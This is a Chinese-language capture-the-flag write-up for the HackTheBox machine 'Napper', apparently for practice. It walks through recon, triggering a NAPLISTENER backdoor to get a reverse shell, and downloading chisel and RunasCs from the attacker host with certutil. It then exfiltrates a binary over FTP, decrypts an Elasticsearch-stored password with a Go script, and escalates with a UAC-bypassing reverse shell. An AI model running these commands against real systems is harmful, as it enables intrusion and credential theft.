$ nmap -p- -sC -sV 10.10.11.240 --min-rate 1000
$ curl http://10.10.11.240
$ gobuster dir -u "https://app.napper.htb" -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -k
博客
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --fs 5602 -t 100 -u https://napper.htb -H "Host: FUZZ.napper.htb"
# echo "10.10.11.240 napper.htb app.napper.htb internal.napper.htb" >> /etc/hosts
基础验证框
在https://app.napper.htb/posts/setup-basic-auth-powershell/描述了如何用powershell新建一个基础身份认证的命令
输入示例用户名和密码成功进入internal.napper.htb
该内部页面发布了一篇关于NAPLISTENER(Ruben)恶意软件
https://www.elastic.co/security-labs/naplistener-more-bad-dreams-from-the-developers-of-siestagraph
弹性安全实验室在追溯REF2924组织时观察到攻击者将优先事项从数据窃取转移到使用多种机制保持持久访问。2023年1月20日,创建了一个新的可执行文件 Wmdtc.exe,并使用类似于 Microsoft 分布式事务协调器服务 (Msdtc.exe) 的合法二进制的命名约定将其安装为 Windows 服务。
Wmdtc.exe 是一个用 C# 编写的 HTTP 监听器,我们称之为 NAPLISTENER。与 SIESTAGRAPH 和其他由此威胁开发或使用的恶意软件系列一致,NAPLISTENER 似乎旨在规避基于网络的检测形式。值得注意的是,在这个威胁主要活跃的地区(南亚和东南亚),基于网络和日志的检测方法是普遍存在的。
这个独特的恶意软件样本包含一个名为 MsEXGHealthd 的 C# 类,它由三个方法组成:Main、SetRespHeader 和 Listener。这个类建立了一个 HTTP 请求监听器,可以处理来自互联网的传入请求,并通过过滤恶意命令并透明地传递合法的网络流量来相应。这个类在下面的图片中描述了出来。
当程序运行并创建一个线程对象时,将调用 Main 方法,该线程对象将由 Listener 方法使用。然后,该线程被设置为休眠 0 毫秒,然后启动。实现休眠功能与 SIESTAGRAPH、NAPLISTENER 和此组织开发或使用的其他恶意软件一致。
SetRespHeader 方法设置 HTTP 响应的响应头。它以一个 HttpListenerResponse 对象作为参数,并定义诸如 Server、Content-Type 和 X-Powered-By 等头部信息。在一个被积极针对的受害者环境中,IIS Web 服务器会返回一个带有 Server 头部包含 Microsoft-IIS/10.0 的 404 响应,除非特定的参数存在。
然而,当请求监听器 URI 时出现 404 错误时,会额外添加 Content-Type: text/html; charset=utf-8 作为一个头部。当安装了 NAPLISTENER 时,字符串 Microsoft-HTTPAPI/2.0 会被追加到 Server 头部。这种行为使得监听器变得可检测,并且不会生成 404 错误。很可能选择这种过滤方法是为了避免被网络扫描器和类似技术发现
防御者可能本能地在 IIS Web 服务器日志中搜索这些错误,但 NAPLISTENER 植入程序在内联执行,并且 Windows 将会将这些请求重定向到注册的应用程序,从而使得恶意软件能够确保这些错误永远不会到达 Web 服务器日志,分析人员也不会看到它们。此外,摄取 Web 服务器日志的安全工具将没有机会识别这些行为。
Listener 方法是 NAPLISTENER 中大部分工作发生的地方。
首先,该方法创建一个 HttpListener 对象来处理传入的请求。如果正在使用的平台支持 HttpListener(应该是的),它会向监听器添加一个前缀,并启动它。
一旦运行,它就会等待传入的请求。当收到请求时,它会读取提交的任何数据(存储在一个 Form 字段中),将其从 Base64 格式解码,并使用解码后的数据创建一个新的 HttpRequest 对象。它创建了一个 HttpResponse 对象和一个 HttpContext 对象,并使用这两个对象作为参数。如果提交的 Form 字段包含 sdafwe3rwe23,则会尝试创建一个程序集对象,并使用 Run 方法来执行它。
这意味着任何发送到 /ews/MsExgHealthCheckd/ 的 Web 请求,如果其中包含一个在 sdafwe3rwe23 参数中以 Base64 编码的 .NET 程序集,该程序集将被加载并在内存中执行。值得注意的是,该二进制运行在一个单独的进程中,与运行的 IIS 服务器没有直接关联。
如果由于某种原因(例如,数据无效或缺失)导致操作失败,则会发送一个带有空主体的“404 Not Found”响应。在发送任何响应后,流会被刷新并关闭连接,然后再次循环以等待更多传入请求。
根据细节描述,我们使用NAPLISTENER扫描工具
该工具可以在Linux或Windows平台运行,会自动下载依赖程序
https://github.com/MartinxMax/
$ python3 Naplistener.py -u "https://napper.htb"
扫描目标,确认存在后门
$ python3 Naplistener.py -u "https://napper.htb" -lh 10.10.16.15 -lp 10032
反向shell
> type C:\Users\ruben\Desktop\user.txt
acfc1c341ef2ec0ea83e1c14899371c2
C:\Temp\www\internal\content\posts>type no-more-laps.md
title: "**INTERNAL** Getting rid of LAPS"
description: Replacing LAPS with out own custom solution
date: 2023-07-01
draft: true
tags: [internal, sysadmin]
---
# Intro
我们正在摒弃LAPS,采用我们自己的定制解决方案。备份用户的密码将存储在本地的Elastic数据库中。
IT部门将在准备就绪后将解密客户端部署到管理员桌面上。
我们预计开发很快就会准备就绪。恶意软件逆向工程团队将是第一个测试组。
C:\Temp\www\internal\content\posts\internal-laps-alpha> dir
在目录internal-laps-alpha下存在一个a.exe
.env文件显示了运行在本地主机端口9200上的Elasticsearch服务的凭据。
username:user
password:DumpPassword$Here
c:\Temp> powershell -c certutil -urlcache -split -f "http://10.10.16.15/chisel.exe" chisel.exe
[kali]
$ chisel server --port 9201 --reverse
、
[靶机]
注意这里的映射端口不要与Kali服务器端监听的端口重复
c:\Temp>.\chisel.exe client 10.10.16.15:9201 R:9200:127.0.0.1:9200
9200端口
Elasticsearch是一个分布式、开源的搜索和分析引擎,适用于各种类型的数据。它以其速度、可扩展性和简单的REST API而闻名。基于Apache Lucene构建,Elasticsearch于2010年首次由Elasticsearch N.V.发布(现在称为Elastic)。Elasticsearch是Elastic Stack的核心组件,这是一个用于数据摄取、丰富、存储、分析和可视化的开源工具集合。这个堆栈,通常称为ELK Stack,还包括Logstash和Kibana,现在还有轻量级的数据传输代理称为Beats。
$ curl -k https://127.0.0.1:9200 -u 'user:DumpPassword$Here'
尝试检索存储在Elasticsearch数据库中的所有索引
$ curl -k https://127.0.0.1:9200/_cat/indices -u 'user:DumpPassword$Here'
在Elasticsearch数据库中有两个索引,分别是"seed"和"user-00001"。"seed"索引包含一个名为"seed"的字段的文档。
$ curl -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' |jq
"user-00001"索引包含一个名为"blob"的字段的文档,其数据似乎是一个Base64编码的密码哈希值。
在kali中创建临时的FTP服务
$ pip3 install pyftpdlib
$ mkdir ftp_temp;cd ftp_temp
(ftp_temp)$ python3 -m pyftpdlib -w -u martin -P martin -p 21
本主机文件上传至FTP服务器
$ curl -T <File.xxx> -u martin:martin ftp://10.10.16.15/
从FTP服务器将文件下载至本主机
$ curl -O -u martin:martin ftp://10.10.16.15/file.txt
在目录C:\Temp\www\internal\content\posts\internal-laps-alpha
将a.exe上传到kali
$ curl -T a.exe -u martin:martin ftp://10.10.16.15/
逆向分析:https://binary.ninja/free/
在将文件导入Binary Ninja后,从"Symbols"面板中的go:buildid条目可以明显看出我们正在处理的是一个用Golang编写的可执行文件。因此,我们的重点转向了代码中的main.main函数,这是程序的入口点。
在 main.main 函数中,我们看到引用了 github.com/joho/godotenv 包。进一步往下看,我们注意到了 ELASTICURI 和 ELASTICUSER 变量的使用。这表明程序在 main.main 函数的开头从 .env 文件中加载这些变量。随后,默认的 Elasticsearch 库被用于建立连接。
在接下来的部分中,我们看到对三个函数的调用:
main.randStringList
main.genKey
main.encrypt
检查 main.randStringList 函数,我们可以看到它首先将字母表放入一个数组中
然后它遍历数组以从字母表集中随机选择值
检查main.genKey函数后,我们观察到代码正在生成一个随机的16字节密钥。值得注意的是,在此操作之前,设置了一个种子。此种子对应于从Elasticsearch中的种子索引中检索到的值。这意味着如果我们知道种子值,我们就可以复制相同的密钥
继续分析 main.encrypt 函数,通过追踪执行的左分支,我们可以看到它在将数据编码为 base64 之前使用了 AES 密码反馈(CFB)算法对数据进行加密
该二进制文件生成一个随机字符串,生成一个密钥,并可能使用该密钥对随机字符串进行加密。生成的输出可能是存储在 Elasticsearch 中的 user-00001 索引中的 base64 编码数据。回顾一下 main.main 函数,我们看到了对 net user 命令的引用。由于这里字符串的格式有些模糊,但是通过之前阅读的草稿文章提供的额外细节,很明显可以看出正在使用 net user backup 命令来更改备份用户的密码。使用在 Elasticsearch 数据库中发现的种子,我们可以创建一个相同的密钥并解密有效负载。
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
mrand "math/rand"
"os"
"strconv"
)
func genKey(seed_key string) []byte {
seed, _ := strconv.Atoi(seed_key)
mrand.Seed(int64(seed))
key := make([]byte, 16)
for i := 0; i < 16; i++ {
key[i] = byte(mrand.Intn(255-1) + 1)
}
return key
}
func decrypt(key []byte, cryptoText string) string {
ciphertext, _ := base64.URLEncoding.DecodeString(cryptoText)
block, err := aes.NewCipher(key)
if err != nil {
panic(err)
}
if len(ciphertext) < aes.BlockSize {
panic("ciphertext too short")
}
iv := ciphertext[:aes.BlockSize]
ciphertext = ciphertext[aes.BlockSize:]
stream := cipher.NewCFBDecrypter(block, iv)
stream.XORKeyStream(ciphertext, ciphertext)
return fmt.Sprintf("%s", ciphertext)
}
func main() {
seed_key := genKey(os.Args[1])
decrypted_pass := decrypt(seed_key, os.Args[2])
fmt.Println("Decrypted pass: ", decrypted_pass)
}
这个 Go 脚本根据作为命令行参数提供的种子值生成一个随机密钥。使用这个密钥,它解密一个 base64 编码的密文。解密过程涉及使用生成的密钥初始化一个 AES 密码块,从密文中分离初始化向量 iv,然后使用 CFB 模式解密密文。最后,它将解密后的明文密码打印到控制台上
$ go build decrypt.go
$ ./decrypt $(curl -s -k https://127.0.0.1:9200/seed/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.seed') "$(curl -s -k https://127.0.0.1:9200/user-00001/_search -u 'user:DumpPassword$Here' | jq -r '.hits.hits[0]._source.blob')"
username:backup
password:mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg
我们成功获取了用户备份的密码。
现在,让我们继续使用 RunasCs.exe 在我们的 shell 中以备份用户身份运行命令。
> powershell -c certutil -urlcache -split -f "http://10.10.16.15/RunasCs.exe" RunasCs.exe
> .\RunasCs.exe backup mpApccnYMYWZNomPRxErJBLKvFvmkiWHqSDwouQg powershell.exe -r 10.10.16.15:10077 --bypass-uac
> type c:\users\administrator\desktop\root.txt
26f995d74ea1f7b576938bbf0de6ee1b